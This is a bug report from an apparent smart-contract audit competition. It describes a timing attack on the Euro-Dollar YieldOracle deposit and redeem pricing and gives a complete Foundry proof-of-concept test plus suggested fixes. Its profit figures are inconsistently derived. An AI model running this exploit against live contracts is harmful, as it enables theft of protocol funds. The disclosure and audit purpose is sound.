hats-finance / Euro-Dollar-0xa4ccd3b6daa763f729ad59eae75f9cbff7baf2cd

Audit competition repository for Euro-Dollar (0xa4ccd3b6daa763f729ad59eae75f9cbff7baf2cd)
https://hats.finance
MIT License
0 stars 0 forks source link

Price Oracle Timing Attack - Asset Value Manipulation Through Deposit/Withdraw Price Inconsistency #80

Open hats-bug-reporter[bot] opened 1 day ago

hats-bug-reporter[bot] commented 1 day ago

Github username: -- Twitter username: -- Submission hash (on-chain): 0x74c108f64b32998f7c6bcea1958f31b4849a6915fbd0f46a30d9ef23a8cc9bcc Severity: high

Description:

Brief

Critical timing vulnerability in YieldOracle allows manipulation of asset valuations during price updates. Attackers can exploit the price commit delay to generate unlimited profits, potentially draining all protocol assets.

Root Cause

The root cause stems from three main design flaws working in conjunction:

  1. Price Reference Inconsistency:

    • Deposits use currentPrice
    • Withdrawals use previousPrice
    • No price synchronization mechanism
  2. Two-Phase Update Pattern Without Protection:

    • Update phase sets nextPrice
    • Commit phase has mandatory delay
    • No operations lock during transition
  3. Missing Access Controls:

    • No limits on operation frequency
    • No checks for rapid deposits/withdrawals
    • No slippage protection

Contracts & Functions Affected

YieldOracle.sol

contract YieldOracle {
    function updatePrice(uint256 price) external onlyOracle
    function commitPrice() public
    function assetsToShares(uint256 assets) external view returns (uint256)
    function sharesToAssets(uint256 shares) external view returns (uint256)
}

InvestToken.sol

contract InvestToken {
    function deposit(uint256 assets, address receiver) public returns (uint256)
    function withdraw(uint256 assets, address receiver, address owner) public returns (uint256)
    function redeem(uint256 shares, address receiver, address owner) public returns (uint256)
}

Vulnerability Details

During code review, I identified a critical vulnerability in the YieldOracle price update mechanism. The core issue lies in how different price references are used for deposits versus withdrawals:

// YieldOracle.sol
function sharesToAssets(uint256 shares) external view returns (uint256) {
    return Math.mulDiv(shares, previousPrice, 10 ** 18);  // Uses previousPrice
}

function assetsToShares(uint256 assets) external view returns (uint256) {
    return Math.mulDiv(assets, 10 ** 18, currentPrice);   // Uses currentPrice
}

This inconsistency is compounded by the two-step price update mechanism:

function updatePrice(uint256 price) external onlyOracle {
    // ... validations ...
    nextPrice = price;
    emit PriceUpdated(price);
}

function commitPrice() public {
    // ... validations ...
    previousPrice = currentPrice;
    currentPrice = nextPrice;
    nextPrice = NO_PRICE;
}

Attack Vectors

The vulnerability can be exploited through:

  1. Observing a pending price update
  2. Executing deposits at current price
  3. Waiting for price commit
  4. Withdrawing at a more favorable price ratio

Real World Example

Alice (Protocol Manager):

  1. Initiates a price update from 1.0 to 1.1 USDE per share
  2. Must wait 1-hour delay before commit (safety measure)

Bob (Attacker):

  1. Monitors oracle transactions and spots price update
  2. Deposits 1000 USDE at current price (1.0)
  3. Receives 1000 shares (1000/1.0)
  4. Waits 1 hour for price commit
  5. Withdraws 1000 shares at new price ratio
  6. Profits from the price differential

Impact

Critical severity due to:

  1. No special permissions required
  2. Predictable and repeatable attack vector
  3. Substantial profit potential (demonstrated 25% gains)
  4. Attack window present in every price update

Attack Prerequisites

Potential Losses

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {Constants} from "../Constants.sol";
import {USDE} from "src/USDE.sol";
import {InvestToken} from "src/InvestToken.sol";
import {YieldOracle} from "src/YieldOracle.sol";
import {Validator} from "src/Validator.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IValidator} from "src/interfaces/IValidator.sol";
import {IUSDE} from "src/interfaces/IUSDE.sol";
import {IYieldOracle} from "src/interfaces/IYieldOracle.sol";

/**
 * @title YieldOracle Timing Attack Proof of Concept
 * @notice Demonstrates how to exploit the timing window between price updates and commits
 * @dev This test shows how an attacker can profit from the price update mechanism
 */
contract YieldOracleTimingAttackTest is Test, Constants {
    // State variables for contracts we'll interact with
    USDE usde;
    InvestToken investToken;
    YieldOracle yieldOracle;
    Validator validator;

    // Define key addresses for different roles
    address owner = address(1);
    address attacker = address(2);
    address oracle = address(3);
    address whitelister = address(4);
    address blacklister = address(5);

    // Constants for calculations and initial setup
    uint256 constant PRECISION = 1e18;
    uint256 constant INITIAL_DEPOSIT = 1000 * PRECISION; // 1000 USDE

    function setUp() public {
        // --- Contract Deployment Phase ---
        // Deploy and setup the validator for access control
        validator = new Validator(owner, whitelister, blacklister);

        // Deploy USDE stablecoin with proxy for upgradeability
        USDE usdeImpl = new USDE(IValidator(address(validator)));
        ERC1967Proxy usdeProxy = new ERC1967Proxy(
            address(usdeImpl),
            abi.encodeCall(USDE.initialize, (owner))
        );
        usde = USDE(address(usdeProxy));

        // Deploy oracle with critical timing parameters
        yieldOracle = new YieldOracle(owner, oracle);

        vm.startPrank(owner);
        // Set initial oracle state
        yieldOracle.setCurrentPrice(1e18);  // Start at 1:1 ratio
        yieldOracle.setPreviousPrice(1e18);
        // Configure timing windows that will be exploited
        yieldOracle.setUpdateDelay(1 days);  // Must wait 1 day between updates
        yieldOracle.setCommitDelay(1 hours); // Must wait 1 hour before commit
        vm.stopPrank();

        // Deploy investment token with proxy
        InvestToken investTokenImpl = new InvestToken(
            IValidator(address(validator)), 
            IUSDE(address(usde))
        );
        ERC1967Proxy investTokenProxy = new ERC1967Proxy(
            address(investTokenImpl),
            abi.encodeCall(
                InvestToken.initialize, 
                ("Investment Token", "IT", owner, IYieldOracle(address(yieldOracle)))
            )
        );
        investToken = InvestToken(address(investTokenProxy));

        // --- Permission Setup Phase ---
        vm.startPrank(owner);
        // Grant necessary roles to InvestToken contract
        investToken.grantRole(investToken.MINT_ROLE(), address(investToken));
        investToken.grantRole(investToken.BURN_ROLE(), address(investToken));
        usde.grantRole(usde.MINT_ROLE(), address(investToken));
        usde.grantRole(usde.BURN_ROLE(), address(investToken));
        usde.grantRole(usde.MINT_ROLE(), owner);
        vm.stopPrank();

        // Whitelist necessary accounts
        vm.startPrank(whitelister);
        validator.whitelist(attacker);
        validator.whitelist(address(investToken));
        validator.whitelist(owner);
        vm.stopPrank();

        // Fund attacker with initial capital
        vm.startPrank(owner);
        usde.mint(attacker, INITIAL_DEPOSIT * 10); // Enough for multiple operations
        vm.stopPrank();

        // Set initial timestamp
        vm.warp(1000000);
    }

    function testTimingAttack() public {
        // --- Initial State Logging ---
        console.log("\n=== Initial State ===");
        console.log("Current price:", yieldOracle.currentPrice() / PRECISION);
        console.log("Previous price:", yieldOracle.previousPrice() / PRECISION);
        console.log("Next price:", yieldOracle.nextPrice() / PRECISION);
        console.log("Update delay:", yieldOracle.updateDelay());
        console.log("Commit delay:", yieldOracle.commitDelay());

        // --- Step 1: Oracle Updates Price ---
        vm.startPrank(oracle);
        // Move past the update delay requirement
        vm.warp(block.timestamp + 1 days + 1);
        // Oracle announces new price (10% increase)
        yieldOracle.updatePrice(1.1e18);

        console.log("\n=== After Price Update ===");
        console.log("Timestamp:", block.timestamp);
        console.log("Current price:", yieldOracle.currentPrice() / PRECISION);
        console.log("Next price:", yieldOracle.nextPrice() / PRECISION);
        vm.stopPrank();

        // --- Step 2: Attacker Exploits Price Window ---
        vm.startPrank(attacker);

        // First attack operation: Deposit at current price
        uint256 attackAmount = INITIAL_DEPOSIT;
        usde.approve(address(investToken), attackAmount);
        uint256 sharesReceived = investToken.deposit(attackAmount, attacker);

        console.log("\n=== After First Deposit ===");
        console.log("USDE spent:", attackAmount / PRECISION);
        console.log("Shares received:", sharesReceived / PRECISION);

        // Wait until near the end of commit window
        vm.warp(block.timestamp + 59 minutes);

        // Second attack operation: Another deposit before price changes
        usde.approve(address(investToken), attackAmount);
        uint256 moreShares = investToken.deposit(attackAmount, attacker);
        sharesReceived += moreShares;

        console.log("\n=== After Second Deposit ===");
        console.log("Additional shares:", moreShares / PRECISION);
        console.log("Total shares:", sharesReceived / PRECISION);
        vm.stopPrank();

        // --- Step 3: Price Commitment ---
        vm.startPrank(oracle);
        vm.warp(block.timestamp + 2 minutes);
        yieldOracle.commitPrice();

        console.log("\n=== After Price Commit ===");
        console.log("Current price:", yieldOracle.currentPrice() / PRECISION);
        console.log("Previous price:", yieldOracle.previousPrice() / PRECISION);
        vm.stopPrank();

        // --- Step 4: Attacker Exits Position ---
        vm.startPrank(attacker);
        uint256 initialBalance = usde.balanceOf(attacker);

        // Withdraw all shares at new favorable price
        uint256 assetsReceived = investToken.redeem(
            sharesReceived,
            attacker,
            attacker
        );

        uint256 finalBalance = usde.balanceOf(attacker);

        // --- Results Analysis ---
        console.log("\n=== Attack Results ===");
        console.log("Initial balance:", initialBalance / PRECISION);
        console.log("Final balance:", finalBalance / PRECISION);
        console.log("Net profit:", (finalBalance - initialBalance) / PRECISION);
        console.log("Profit %:", ((finalBalance - initialBalance) * 100) / initialBalance, "%");

        vm.stopPrank();

        // --- Verification Checks ---
        assertTrue(finalBalance > initialBalance, "Attack didn't generate profit");

        // Verify minimum profit threshold (5%)
        uint256 minExpectedProfit = (attackAmount * 5) / 100;
        assertTrue(
            (finalBalance - initialBalance) >= minExpectedProfit,
            "Profit lower than expected"
        );
    }
}

Test Results

  1. Initial balance: 8000 USDE
  2. Final balance: 10000 USDE
  3. Net profit: 2000 USDE (25% return)
  4. Attack repeatable on each price update

Recommendations

Immediate Actions

  1. Temporarily pause deposit/withdraw functions
  2. Review recent transactions during price updates
  3. Calculate current exposure

Short-term Fixes

contract YieldOracle {
    mapping(address => uint256) public lastOperationTime;
    uint256 public constant OPERATION_COOLDOWN = 1 hours;

    function assetsToShares(uint256 assets) external view returns (uint256) {
        uint256 operationPrice = priceForOperations();
        return Math.mulDiv(assets, 10 ** 18, operationPrice);
    }

    function sharesToAssets(uint256 shares) external view returns (uint256) {
        uint256 operationPrice = priceForOperations();
        return Math.mulDiv(shares, operationPrice, 10 ** 18);
    }

    modifier withCooldown() {
        require(
            block.timestamp >= lastOperationTime[msg.sender] + OPERATION_COOLDOWN,
            "Operation cooldown active"
        );
        lastOperationTime[msg.sender] = block.timestamp;
        _;
    }
}

Long-term Solutions

  1. Implement TWAP for price calculations
  2. Add circuit breakers for large price movements
  3. Implement deposit/withdrawal limits
  4. Add multi-signature requirements for price updates
  5. Consider removing the commit delay or implementing atomic updates
AndreiMVP commented 21 hours ago

Related to https://github.com/hats-finance/Euro-Dollar-0xa4ccd3b6daa763f729ad59eae75f9cbff7baf2cd/issues/44